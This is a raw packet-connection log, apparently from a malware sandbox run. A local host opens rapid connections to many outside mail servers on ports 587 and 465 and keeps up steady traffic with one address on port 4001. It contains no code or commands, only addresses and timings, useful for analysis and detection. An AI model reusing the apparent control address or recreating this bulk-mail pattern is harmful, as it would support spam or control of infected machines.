May 19, 2024 17:27:53.005667925 CEST	49943	587	192.168.2.4	104.22.12.236
May 19, 2024 17:27:53.005820990 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:53.009023905 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:53.018709898 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:53.031435966 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:53.031466007 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:53.031495094 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:53.036392927 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:27:53.036470890 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:53.036499023 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:53.036526918 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:53.036554098 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:53.036581039 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:53.036609888 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:53.040833950 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:53.040862083 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:53.042102098 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.042135000 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.042185068 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.044445038 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.047146082 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.047178030 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.047203064 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.052090883 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:53.052154064 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:53.052248001 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:53.052254915 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:53.052274942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.052372932 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:53.063138008 CEST	587	49945	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.063271999 CEST	49945	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.067862988 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:53.083497047 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:53.083514929 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:53.083524942 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:53.083530903 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:53.083530903 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:53.083538055 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:53.083611965 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:53.083669901 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:27:53.086375952 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:53.086492062 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:53.086496115 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:53.086497068 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:53.098901987 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.099222898 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:53.106703997 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:53.114727020 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.115011930 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:53.116451025 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:53.116691113 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:53.116750002 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:53.117007971 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:53.117084026 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:53.117141962 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:53.117739916 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:53.117789030 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:53.117836952 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:53.117871046 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:53.118196011 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:53.118249893 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:53.118359089 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:53.118407011 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:53.118410110 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.118453979 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:53.118726015 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:53.118869066 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:53.119349003 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:53.119981050 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.120068073 CEST	49945	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.120090961 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.120213985 CEST	49898	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:53.120250940 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.120414019 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.120501041 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.120565891 CEST	49943	587	192.168.2.4	104.22.12.236
May 19, 2024 17:27:53.120588064 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.120744944 CEST	49895	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:53.120765924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.120956898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.121279001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.121316910 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.121340036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.121423960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.121454954 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.121489048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.121517897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.121611118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.122809887 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.122828007 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:53.122849941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.123022079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.123092890 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.123229027 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.123290062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.123358011 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.124516010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.124546051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.124566078 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.124636889 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.124707937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.125993013 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:53.126022100 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:53.126049995 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.126077890 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:53.126105070 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:53.126132965 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:53.126158953 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:53.126187086 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:53.126213074 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:53.126240969 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:53.126267910 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:53.126296043 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:53.126322985 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:53.126349926 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.126378059 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:53.126405001 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:53.126431942 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:53.126458883 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:53.126485109 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.126512051 CEST	587	49945	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.126538038 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128236055 CEST	587	49898	194.158.122.55	192.168.2.4
May 19, 2024 17:27:53.128283024 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128312111 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128339052 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128369093 CEST	587	49943	104.22.12.236	192.168.2.4
May 19, 2024 17:27:53.128396988 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128424883 CEST	587	49895	194.158.122.55	192.168.2.4
May 19, 2024 17:27:53.128452063 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128479004 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128505945 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128532887 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128559113 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128586054 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128612041 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128638983 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128664970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.128690958 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.133279085 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.133306980 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.133335114 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.133363962 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.133390903 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.133416891 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.133444071 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.133470058 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.133496046 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.163961887 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:53.172521114 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.172549963 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.172576904 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.172604084 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.172631025 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.172657967 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.172688007 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:53.172717094 CEST	587	49946	104.18.2.81	192.168.2.4
May 19, 2024 17:27:53.172744989 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:53.172769070 CEST	49946	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:53.173815012 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.173909903 CEST	49946	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:53.173938036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.174093008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.180655003 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:27:53.183326960 CEST	50039	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.183793068 CEST	50040	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:53.186342955 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:53.186609983 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.186642885 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.186723948 CEST	50043	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.187138081 CEST	50044	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.187350988 CEST	50045	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.187519073 CEST	50046	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.187696934 CEST	50047	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.189001083 CEST	50048	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.189927101 CEST	50049	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.191442966 CEST	50050	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:53.191745043 CEST	50051	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:53.192157030 CEST	50052	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.192214966 CEST	587	49946	104.18.2.81	192.168.2.4
May 19, 2024 17:27:53.192389965 CEST	50053	587	192.168.2.4	40.85.218.2
May 19, 2024 17:27:53.192665100 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:53.193785906 CEST	50055	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:53.194829941 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:27:53.194859982 CEST	587	50039	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.194885015 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:27:53.194889069 CEST	587	50040	194.158.122.55	192.168.2.4
May 19, 2024 17:27:53.194919109 CEST	50039	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.194936991 CEST	50040	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:53.194946051 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:53.194952965 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.194973946 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.194988012 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.195004940 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:53.195008993 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:53.195031881 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.195054054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.195086002 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.195097923 CEST	587	50043	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.195125103 CEST	587	50044	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.195138931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.195152998 CEST	50043	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.195153952 CEST	587	50045	142.93.237.125	192.168.2.4
May 19, 2024 17:27:53.195175886 CEST	50044	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.195194960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.195204020 CEST	587	50046	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.195209026 CEST	50045	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:53.195219040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.195233107 CEST	587	50047	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.195245981 CEST	50046	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.195282936 CEST	50047	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.195305109 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.195338011 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.195435047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.199628115 CEST	587	50048	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.199661016 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.199691057 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:53.199693918 CEST	50048	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.199718952 CEST	587	50049	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.199748039 CEST	587	50050	120.50.131.112	192.168.2.4
May 19, 2024 17:27:53.199775934 CEST	587	50051	194.158.122.55	192.168.2.4
May 19, 2024 17:27:53.199778080 CEST	50049	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.199779987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.199805021 CEST	50050	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:53.199831963 CEST	50051	587	192.168.2.4	194.158.122.55
May 19, 2024 17:27:53.199846029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.199911118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.199986935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.200016022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.200196028 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.200229883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.200669050 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:27:53.204423904 CEST	587	50052	194.153.145.104	192.168.2.4
May 19, 2024 17:27:53.204453945 CEST	587	50053	40.85.218.2	192.168.2.4
May 19, 2024 17:27:53.204492092 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:27:53.204505920 CEST	50052	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:53.204519987 CEST	50053	587	192.168.2.4	40.85.218.2
May 19, 2024 17:27:53.204534054 CEST	587	50055	193.201.172.98	192.168.2.4
May 19, 2024 17:27:53.204543114 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:53.204550982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.204564095 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.204592943 CEST	50055	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:53.204745054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.204811096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.204811096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.205051899 CEST	50057	587	192.168.2.4	194.170.95.221
May 19, 2024 17:27:53.209208965 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.209235907 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.209265947 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:53.210458994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.213972092 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:53.214000940 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.214031935 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:27:53.214050055 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.214505911 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:53.214659929 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:53.214831114 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:53.214873075 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:53.214905024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.215337992 CEST	50058	587	192.168.2.4	92.205.48.138
May 19, 2024 17:27:53.216741085 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:53.218775988 CEST	587	50057	194.170.95.221	192.168.2.4
May 19, 2024 17:27:53.218806028 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.218832970 CEST	50057	587	192.168.2.4	194.170.95.221
May 19, 2024 17:27:53.218904972 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.223870993 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:53.224227905 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:53.224323034 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:53.228540897 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:53.228571892 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:53.228600979 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:53.228635073 CEST	587	50058	92.205.48.138	192.168.2.4
May 19, 2024 17:27:53.228663921 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:27:53.228692055 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.228713036 CEST	50058	587	192.168.2.4	92.205.48.138
May 19, 2024 17:27:53.228719950 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:53.228725910 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:53.228744030 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.228825092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.228858948 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.233763933 CEST	50060	465	192.168.2.4	173.203.187.14
May 19, 2024 17:27:53.238282919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.238312960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.238441944 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.238471985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.239846945 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:53.240333080 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:53.242901087 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.242930889 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:53.242959023 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:53.243004084 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:53.243021011 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.243071079 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:53.243089914 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.247658014 CEST	465	50060	173.203.187.14	192.168.2.4
May 19, 2024 17:27:53.247740984 CEST	50060	465	192.168.2.4	173.203.187.14
May 19, 2024 17:27:53.247818947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.248924017 CEST	50061	587	192.168.2.4	94.143.153.79
May 19, 2024 17:27:53.252445936 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.255526066 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:53.257224083 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:53.257253885 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.262104988 CEST	587	50061	94.143.153.79	192.168.2.4
May 19, 2024 17:27:53.262286901 CEST	50061	587	192.168.2.4	94.143.153.79
May 19, 2024 17:27:53.265835047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.269422054 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:53.269527912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.274313927 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:53.274425983 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.274457932 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.278954029 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.279333115 CEST	50062	587	192.168.2.4	213.205.32.10
May 19, 2024 17:27:53.283858061 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.289330006 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:27:53.294270992 CEST	587	50062	213.205.32.10	192.168.2.4
May 19, 2024 17:27:53.294301033 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:53.294327974 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:53.294338942 CEST	50062	587	192.168.2.4	213.205.32.10
May 19, 2024 17:27:53.294378996 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:53.294426918 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.294426918 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.294449091 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:53.294482946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.301811934 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:27:53.301892042 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:27:53.301978111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.306905031 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:53.311817884 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.317756891 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:53.317877054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.317877054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.318074942 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:53.318779945 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:53.318947077 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:53.319000006 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.319000006 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.322592974 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:53.322626114 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:53.322694063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.322722912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:53.328844070 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.328874111 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:53.328902006 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:53.328928947 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:53.328948975 CEST	49734	4001	192.168.2.4	212.162.153.199
